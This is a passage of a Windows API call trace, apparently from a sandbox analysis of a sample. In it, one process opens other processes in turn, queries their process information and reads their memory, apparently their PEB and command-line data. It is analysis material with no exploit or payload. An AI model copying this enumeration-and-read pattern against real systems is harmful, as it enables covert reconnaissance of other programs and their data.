_Value=0xf0c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3852") returned 0x0 [0271.764] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3852") returned 4 [0271.765] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.765] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.805] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf0c) returned 0x464 [0271.805] GetLastError () returned 0x0 [0271.806] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.806] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.808] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.810] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.810] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x365020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.810] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.810] malloc (_Size=0x60) returned 0x196ef0d03e0 [0271.811] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1950, lpBuffer=0x196ef0d03e0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d03e0*, lpNumberOfBytesRead=0x0) returned 1 [0271.811] free (_Block=0x196ef0d03e0) [0271.812] CloseHandle (hObject=0x464) returned 1 [0271.813] _ui64tow_s (in: _Value=0xf18, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3864") returned 0x0 [0271.819] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3864") returned 4 [0271.821] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.821] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.885] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf18) returned 0x464 [0271.885] GetLastError () returned 0x0 [0271.885] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1d40, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.886] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1958, lpBuffer=0x670f7c2b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.887] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.889] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54a020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d1340, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.889] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0271.889] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7d19be, lpBuffer=0x196ef0d31b0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.890] free (_Block=0x196ef0d31b0) [0271.891] CloseHandle (hObject=0x464) returned 1 [0271.892] _ui64tow_s (in: _Value=0xf20, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3872") returned 0x0 [0271.898] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3872") returned 4 [0271.899] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.899] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.947] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf20) returned 0x464 [0271.947] GetLastError () returned 0x0 [0271.948] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.948] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481cc0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.949] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4818f8, lpBuffer=0x670f7c2b0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0271.950] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0271.952] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0271.952] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3ab020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0271.952] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4812e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0271.952] malloc (_Size=0x62) returned 0x196ef0d0530 [0271.952] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x481952, lpBuffer=0x196ef0d0530, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0271.953] free (_Block=0x196ef0d0530) [0271.954] CloseHandle (hObject=0x464) returned 1 [0271.955] _ui64tow_s (in: _Value=0xf30, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0271.961] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3888") returned 4 [0271.963] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0271.963] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0271.997] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x464 [0271.997] GetLastError () returned 0x0 [0271.998] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0271.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0271.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0271.998] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1cb0, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0271.999] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d18f8, lpBuffer=0x670f7c2b0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.000] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.001] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x24c020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.001] malloc (_Size=0x60) returned 0x196ef0d0530 [0272.001] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4d1950, lpBuffer=0x196ef0d0530, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0272.002] free (_Block=0x196ef0d0530) [0272.003] CloseHandle (hObject=0x464) returned 1 [0272.003] _ui64tow_s (in: _Value=0xf38, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3896") returned 0x0 [0272.009] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3896") returned 4 [0272.011] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.011] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.044] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf38) returned 0x464 [0272.044] GetLastError () returned 0x0 [0272.044] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.044] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1d20, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.045] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b18f8, lpBuffer=0x670f7c2b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.046] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.048] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x3a1020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b12e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.048] malloc (_Size=0x82) returned 0x196ef0fad50 [0272.048] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5b1972, lpBuffer=0x196ef0fad50, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fad50*, lpNumberOfBytesRead=0x0) returned 1 [0272.049] free (_Block=0x196ef0fad50) [0272.050] CloseHandle (hObject=0x464) returned 1 [0272.050] _ui64tow_s (in: _Value=0xf48, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0272.055] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3912") returned 4 [0272.057] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.057] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.090] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x464 [0272.090] GetLastError () returned 0x0 [0272.090] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x541c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.091] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5418f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.093] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.096] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2fd020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5412e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.096] malloc (_Size=0x4e) returned 0x196ef101100 [0272.096] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x54193e, lpBuffer=0x196ef101100, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef101100*, lpNumberOfBytesRead=0x0) returned 1 [0272.097] free (_Block=0x196ef101100) [0272.098] CloseHandle (hObject=0x464) returned 1 [0272.098] _ui64tow_s (in: _Value=0xf50, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0272.107] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3920") returned 4 [0272.109] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.109] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.145] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x464 [0272.146] GetLastError () returned 0x0 [0272.146] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.146] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.146] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.147] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x561d00, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.147] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5618f8, lpBuffer=0x670f7c2b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.149] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.151] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2ac020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5612e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.151] malloc (_Size=0x7a) returned 0x196ef0fac30 [0272.151] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x56196a, lpBuffer=0x196ef0fac30, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0fac30*, lpNumberOfBytesRead=0x0) returned 1 [0272.152] free (_Block=0x196ef0fac30) [0272.153] CloseHandle (hObject=0x464) returned 1 [0272.154] _ui64tow_s (in: _Value=0xf5c, _Buffer=0x670f7d480, _BufferCount=0x104, _Radix=10 | out: _Buffer="3932") returned 0x0 [0272.162] _vsnwprintf (in: _Buffer=0x670f7d1a0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670f7c528 | out: _Buffer="3932") returned 4 [0272.165] GetVersionExW (in: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670f7c5e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0272.165] _vsnwprintf (in: _Buffer=0x670f7cf90, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670f7c528 | out: _Buffer="10.0.10586") returned 10 [0272.185] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf5c) returned 0x464 [0272.185] GetLastError () returned 0x0 [0272.185] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c580, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c580, ReturnLength=0x0) returned 0x0 [0272.185] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3018, lpBuffer=0x670f7c550, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c550*, lpNumberOfBytesRead=0x0) returned 1 [0272.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670f7c540, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c540*, lpNumberOfBytesRead=0x0) returned 1 [0272.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x501c80, lpBuffer=0x670f7c960, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c960*, lpNumberOfBytesRead=0x0) returned 1 [0272.186] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5018f8, lpBuffer=0x670f7c2b0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c2b0*, lpNumberOfBytesRead=0x0) returned 1 [0272.187] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x670f7c5b0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c5b0, ReturnLength=0x0) returned 0x0 [0272.189] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x670f7c088, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670f7c088, ReturnLength=0x0) returned 0x0 [0272.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2e3020, lpBuffer=0x670f7c070, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c070*, lpNumberOfBytesRead=0x0) returned 1 [0272.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5012e0, lpBuffer=0x670f7c0c0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670f7c0c0*, lpNumberOfBytesRead=0x0) returned 1 [0272.189] malloc (_Size=0x4e) returned 0x196ef100aa0 [0272.189] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x50193e, lpBuffer=0x196ef100aa0, nSize=0x4c, 